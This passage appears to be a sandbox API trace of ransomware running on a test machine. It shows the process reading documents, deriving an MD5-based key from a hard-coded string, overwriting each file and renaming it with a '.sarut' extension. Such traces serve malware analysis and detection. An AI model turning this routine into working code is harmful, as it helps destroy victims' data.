lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.294] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.294] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.294] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.294] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.294] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.295] CloseHandle (hObject=0x5c4) returned 1 [0268.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.298] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.298] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.298] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5BThH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5bthh.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5BThH.xlsx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5bthh.xlsx.sarut")) returned 1 [0268.299] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.299] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.301] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.301] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48ee2d40, ftCreationTime.dwHighDateTime=0x1d4c5dd, ftLastAccessTime.dwLowDateTime=0x136a9350, ftLastAccessTime.dwHighDateTime=0x1d4cc3d, ftLastWriteTime.dwLowDateTime=0x136a9350, ftLastWriteTime.dwHighDateTime=0x1d4cc3d, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5eEgQJA.doc", cAlternateFileName="")) returned 1 [0268.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.301] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.301] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.301] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eEgQJA.doc") returned=".doc" [0268.301] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eEgQJA.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5eegqja.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.302] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=36829) returned 1 [0268.302] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.305] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8fb7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.305] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.306] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.306] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.306] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.306] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8fdd, lpOverlapped=0x0) returned 1 [0268.307] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.307] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.307] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.307] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.307] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.308] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.308] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.308] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.308] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.308] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.308] GetLastError () returned 0x0 [0268.309] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.309] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8fe0) returned 0x311d708 [0268.309] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.309] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x8fd8, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x8fd8, lpOverlapped=0x0) returned 1 [0268.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.309] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8fdd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.309] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.310] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.310] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.310] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.310] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.310] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.310] CloseHandle (hObject=0x5c4) returned 1 [0268.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.321] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.321] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eEgQJA.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5eegqja.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5eEgQJA.doc.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5eegqja.doc.sarut")) returned 1 [0268.321] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.321] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.323] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fed4600, ftCreationTime.dwHighDateTime=0x1d4a43a, ftLastAccessTime.dwLowDateTime=0xd14e0b00, ftLastAccessTime.dwHighDateTime=0x1d4ae4b, ftLastWriteTime.dwLowDateTime=0xd14e0b00, ftLastWriteTime.dwHighDateTime=0x1d4ae4b, nFileSizeHigh=0x0, nFileSizeLow=0xdaea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6agqO0CE.xlsx", cAlternateFileName="6AGQO0~1.XLS")) returned 1 [0268.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.323] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.323] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.323] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6agqO0CE.xlsx") returned=".xlsx" [0268.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6agqO0CE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6agqo0ce.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.324] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=56042) returned 1 [0268.324] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.326] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.326] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.328] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.328] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.328] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.328] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xdaea, lpOverlapped=0x0) returned 1 [0268.329] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.329] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.329] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.329] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.329] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.330] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.330] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.330] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.330] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.330] GetLastError () returned 0x0 [0268.330] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.330] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.330] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.330] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xdaf0) returned 0x311d708 [0268.331] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.331] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xdae5, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xdae5, lpOverlapped=0x0) returned 1 [0268.331] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.331] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdaea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.331] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.332] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.332] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.332] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.332] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.332] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.332] CloseHandle (hObject=0x5c4) returned 1 [0268.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.336] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.336] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.336] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6agqO0CE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6agqo0ce.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\6agqO0CE.xlsx.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\6agqo0ce.xlsx.sarut")) returned 1 [0268.337] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.337] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.338] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc18246e0, ftCreationTime.dwHighDateTime=0x1d4d372, ftLastAccessTime.dwLowDateTime=0x16541b40, ftLastAccessTime.dwHighDateTime=0x1d4c7f6, ftLastWriteTime.dwLowDateTime=0x16541b40, ftLastWriteTime.dwHighDateTime=0x1d4c7f6, nFileSizeHigh=0x0, nFileSizeLow=0x16ee4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7Cdo.csv", cAlternateFileName="")) returned 1 [0268.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.338] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e) returned 0x2fb7ef8 [0268.338] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.338] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7Cdo.csv") returned=".csv" [0268.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7Cdo.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7cdo.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.339] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=93924) returned 1 [0268.339] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.344] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16ebe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.344] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.346] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.346] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.346] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.346] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x16ee4, lpOverlapped=0x0) returned 1 [0268.347] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.347] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.347] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.347] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.347] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.348] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.348] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.349] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.349] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.349] GetLastError () returned 0x0 [0268.349] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.349] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.349] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.349] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16ee0) returned 0x311d708 [0268.350] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.350] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.350] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x16edf, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x16edf, lpOverlapped=0x0) returned 1 [0268.351] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.351] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x16ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.351] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff18c0 [0268.351] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.351] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.351] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.351] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff18c0 | out: hHeap=0x640000) returned 1 [0268.351] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.351] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.351] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.351] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.352] CloseHandle (hObject=0x5c4) returned 1 [0268.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.358] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x870) returned 0x311d708 [0268.359] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.359] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7Cdo.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7cdo.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\7Cdo.csv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\7cdo.csv.sarut")) returned 1 [0268.361] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.361] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fb7ef8 | out: hHeap=0x640000) returned 1 [0268.362] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1ebd8b0, ftCreationTime.dwHighDateTime=0x1d4f407, ftLastAccessTime.dwLowDateTime=0xb4e67740, ftLastAccessTime.dwHighDateTime=0x1d49262, ftLastWriteTime.dwLowDateTime=0xb4e67740, ftLastWriteTime.dwHighDateTime=0x1d49262, nFileSizeHigh=0x0, nFileSizeLow=0x17982, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A8Lf.pptx", cAlternateFileName="A8LF~1.PPT")) returned 1 [0268.362] RtlAllocateHeap (HeapHandle=0x640000, 